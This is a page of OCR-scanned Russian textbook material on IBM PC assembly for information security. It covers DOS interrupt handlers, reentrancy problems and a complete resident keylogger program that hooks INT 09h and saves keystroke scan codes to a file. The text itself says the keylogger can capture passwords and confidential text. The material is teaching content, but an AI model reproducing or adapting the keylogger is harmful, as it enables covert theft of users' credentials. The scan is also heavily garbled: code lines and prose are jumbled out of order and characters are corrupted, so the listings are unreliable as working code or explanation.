Анимация
JavaScript
|
Главная Библионтека Ассемблер в задачах защиты 1 ; ФоР Чии New09h: push al, 60h al, MyKey MyHandler ax ; Команда jmp cs: Old09h DB OEAh Old09hOff DD ? Old09hSeg DD ? ; КОП команда jmp FAR PTR MyHandler: ; Прикладная обработка ; Формирование сигнала подтверждения ввода ; на входе старшего разряда порта ВВ 61h push al, 61h ax al, 80h 61h, al ax 61h, al ; Формирование приказа EOI mov al, 20h out 20h, al pop iret В результате сбоев аппаратуры или ошибочных действий пользователя может сложиться ситуация, когда дальнейшая работа программы оказывается невозможной. В этом случае управление получает специальный обработчик прерывания 24h {критическая ошибка). Пользователь может и сам прервать программу, нажав комбинацию клавиш Ctrl-C или Ctrl-Break. При этом управление получают обработчики прерываний соответственно 23h и IBh, инициирующие процесс завершения. Этот сервис, к сожалению, ориентирован только на обычные профаммы и не будет работать в TSR-профаммах. При разработке резидентных профамм необходимо предусматривать либо собственную обработку исключительных ситуаций, либо по крайней мере отменять существующую. -дава 1 Основы программирования на Ассемблере IBM PC 109 j.3.8. Использование системных вызовов в обработчиках внешних аппаратных прерываний Системные функции DOS и BIOS нереентераб&чьны, т. е. не допускают повторного вхождения. Это означает, что одна копия функции в памяти не может одновременно вызываться несколькими процессами, так как различные реализации этой функции оказывают влияние друг на друга. Указанный факт существенно затрудняет написание обработчиков внешних аппаратньге прерываний, использующих в своей работе системные вызовы. Внешние аппаратные прерьшания происходят в случайные моменты времени, они могут возникнуть в том числе и тогда, когда процессор занят обработкой одного из системньге прерываний. Причины нереентерабельности функций DOS и BIOS различны. Причиной нереентерабельности функций DOS является использование ими своего собственного стека (а точнее одного из трех внутренних стеков DOS), в результате при повторном входе в процедуру обработчика после записи информации в стек оказываются уничтоженными данные, записанные в него при первом выполнении процедуры. В результате самым простым способом вывода информации на экран в обработчике внешних аппаратных прерываний является прямая запись данных в видеобуфер. Вызов файловых функций можно осуществить, если воспользоваться следующим фактом. Все функции DOS можно условнс/разделить на две фуппы - функции с номерами из диапазона Olh ... OCh, т. е. функции ввода-вывода, и все оставшиеся функции (в том числе файловые), при этом каждая фуппа функций работает со своим стеком. Функции ввода при своей работе вызывают профаммное прерывание INT 28Ь, системный обработчик которого содержит единственную команду IRET. Прикладная профамма, осуществляющая перехват этого прерывания, получив управление по команде INT 28h, может быть уверена, что в этот момент работает функция, использующая стек ввода-вывода, и поэтому допустим вызов файловых функций DOS, работающих с дисковым стеком. Большинство функций BIOS фоормируют на входах соответствующего устройстве некую последовательность сигналов, временная диафамма которой специфицированг ДЛЯ каждого конкретного УВВ. Именно это и является причиной нереентерабельносп-функций BIOS, так как при повторном входе в процедуру обработчика прерывания с тел номером, требуемая последовательность сигналов на входах УВВ не будет получена не сформировав до конца заданную последовательность сигналов, мы начинаем е< повторную генерацию. Рассмотрим пути преодоления рассмотренной проблемы на примере прерывания BIOS 13h. Прикладная профамма, содержащая в обработчике вненшних аппаратных преры ваний процедуру Procl3h, использующую в своей работе вызовы этого прерывания, должнс "°-чучать управление при входе в системный обработчик INT 13h и при выходе из него этом в первом случае (при входе) прикладной обработчик прерывания 13h устанав Команда прямого дальнего вызова процедуры DB 9Ah ; КОП 01dl3hOff 01dl3hSeg DW DW Адрес перехода dec iret cs: Flagl3h ;==== Перехватчик прерывания от таймера -= NewOSh: pushf Команда прямого дальнего вызова процедуры DB 9Ah ; КОП OldOShOff OldOBhSeg DW DW Адрес перехода OutOfHandlerOSh: cmp jz call dec Iret cs: ReqProcl3h, 1 OutOfHandlerOSh ; cs: Flagl3h, 1 ; OutOfHandlerOSh ; Procl3h cs: ReqProcl3h ; Есть запрос на ; выполнение Procl3h ? Если нет, на выход из ; обработчика Прерывание 13h занято ? Если да, на выход из ; обработчика Вызов Procl3h Сброс флага ;==== Обработчик внешнего аппаратного прерывания ReqProcl3h DB О Oldint DD ? Newint: cs: Flagl3h, 1 ; Прерывание 13h занято ? SetFlag ; Если да, на установку флага Procl3h SetFlag: inc Procl3h: cmp jz call iret cs: ReqProcl3h ; Установка флага iret Процедура Procl3h ==== int ret 1.3.9. Программа N 3. Клавиатурный шпион Программа сохраняет вкен-коды нажатых и отжатых клавиш в файле MYFILE.BIN,- перехватывая прерывание 09h. ====== Может использоваться для получения информации о вводимых конфиденциальных текстах, паролях пользователей и т. п. = . MODEL tiny . CODE ORG 10Oh Segin: jmp Install === Данные резидентной секции = 01d09h 01d28h EnWrFile DB EnWrBuf DB FName Max = Count Buf DD DD 0 1 New09h: ? ; Ячейка для хранения "старого" ВП 09h ? ; Ячейка для хранения "старого" ВП 28h ; Флаг разрешения записи в файл ; Флаг разрешения записи в буфер myfile.bin,О ; Имя файла в формате ASCIIZ ; Число нажатий и отжатий клавиш ; Счетчик операций записи в буфер lOOh DUP (?) ; Буфер для записи ; скен-кодов нажатых клавиш Наш обработчик прерывания 09h ============================== push ds ливает флаг Flagl3h занятости прерывания 13h, а во втором случае (при выходе) этот флаг сбрасывает. Обработчик внешнего аппаратного прерывания перед вызовом "опасной" процедурь Procl3h опрашивает этот флаг и в случае обнаружения О передает управление Procl31i а после ее выполнения завершает свою работу. В противном случае, т. е. при обнаружении факта занятости прерывания 13h (Flagl3h = 1) он устанавливает флаг ReqProcl3h и, не выполнив процедуру Procl3h, завершает свою работу. При получении управления по прерыванию от таймера, перехватчик которого в этом случае также должен быть в составе программы, после выполнения системной процедуры происходит анализ флагов ReqProcl3h HFlagl3h. В случае обнаружения ситуации ReqProcl3h = 1& Flagl3h = О прикладной обработчик прерывания от таймера вызывает процедуру Procl3h, после ее выполнения сбрасывает флаг ReqProcl3h и завершает свою работу. В любом другом случае обработчик прерывания от таймера, не совершая больше никаких действий, завершает свою работу. Примеры ;==== Перехватчик прерывания INT 13h =============================== FlaglSh DB О Newl3h: inc cs: Flagl3h pushf Ассемблер в задачах защита информации push cs pop ds Проверим флаг EnWrBuf, если EnWrBuf = 1, запись в буфер Buf, в противном случае - переход на "старый" обработчик 09h EnWrBuf, О OutOfHandler09h ах bx al, 60h ; Считывание скен-кода клавиши bx. Count ; Считывание значения Count Buf[bx],al ; Запись скен-кодав-буфер Buf Count ; Увеличение содержимого Count на 1 bx, Мах ; Сравнение значения Count ; со значением Мах cmp jz push BufNotFull: OutOfHandler09h: jnz mov mov pop jmp BufNotFull EnWrBuf, 0 EnWrFile, 1 bx ax Буфер полон Разрешение записи в файл DWORD PTR.cs: 01d09h ; переход на "старый ;===== Наш обработчик прерывания 28h =============================: New28h: push ds push cs pop ds ; Переход на "старьй" обработчик 28h pushf call DWORD PTR 01d28h ; Если EnWrFile = 0, на выход из обработчика, в противном ; случае - запись содержимого буфера Buf в файл key.bin cmp EnWrFile, О jz OutOfHandler28h Запись содержимого буфера Buf в файл myfile.bin ах Ьх СХ dx ah, 3ch cx, 2 OFFSET FName обработчик 09h push mov mov mov int jc mov mov mov mov int mov int dx, 21h EndWr ax Атрибут файла Открытие файла bx, ah, 40h lOOh OFFSET Buf ah, 3eh 21h Запись в файл Закрытие файла Глава 1 • Основы программирования на Ассемблере IBM PC 113 EndWr: OfHandler28h: mov pop EnWrFile, 0 dx cx bx ax pop iret ResSize = $ " Begin .5==== Установочная секция программы =============================== install: ; Чтение "старого" ВП 09h и запись его в ячейку Old09h. ; Запись в таблицу векторов прерываний "нового" ВП 09h mov ах, 3509h int 21h mov WORD PTR Old09h, bx mov WORD PTR Old09h+2, es mov ax, 2509h mov dx, OFFSET New09h int 21h ; Чтение "старого" ВП 28h, запись его в ячейку 01d28h, ; запись в таблицу векторов прерываний "нового" ВП 28h mov ах, 3528h int 21h mov WORD PTR 01d28h, bx mov WORD PTR/01d28h+2, es mov ax, 25h mov dx, OFFSET New28h int 21h ; Завершение программы и оставление ее резидентной mov ах, 3100h mov dx,(ResSize+10fh)/16 int 21h END Begin Задания для самостоятельной работы 1) Разработать программу контроля целостности файлов методом сравнения с эталонными значениями контрольных сумм (КС) файлов, хранящимися в специальном файле-справочнике. Процедуру формирования КС области памяти оформить как обработчик прерывания INT 60h. 2) Разработать резидентную программу-закладку, меняющую местами функщюнальное назначение клавиш F3 и F10. Разработать резидентную программу-сторож, контролирующую процесс установки TSR-программ по прерыванию INT 21h, функция 31h. Установка резидентной программы разрешается только в том случае, когда КС резидентной секции равно 0. Предусмотреть восстановление таблицы векторов прерываний при отказе в установке. 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [ 16 ] 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |